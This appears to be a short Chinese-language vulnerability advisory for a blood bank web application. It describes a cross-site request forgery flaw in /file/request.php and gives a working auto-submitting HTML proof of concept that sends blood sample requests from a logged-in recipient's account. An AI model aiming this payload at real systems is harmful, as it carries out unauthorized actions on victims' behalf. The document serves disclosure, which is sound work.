file/request.php端点 /file/request.php 存在跨站请求伪造漏洞,允许远程用户在已登录的 接收者 账户下,从所选医院的可用血液样本中发起 血液样本 请求。
成功利用可导致代表受害者执行 未授权操作。此外,可通过访问带有该载荷的恶意网站进行利用。
以下是 CSRF 攻击 PoC 示例,从已登录的 接收者 账户发起 血液样本 请求:
<html>
<head>
<title>CSRF PoC</title>
</head>
<body>
<form action="http://localhost.local/bloodbank/file/request.php" method="POST" enctype="application/x-www-form-urlencoded">
<input name="bid" value="16">
<input name="hid" value="3">
<input name="bg" value="B-">
<input name="request" value="Request+Sample">
</form>
<script>
document.querySelector("form").submit();
</script>
</body>
</html>
csrf tokens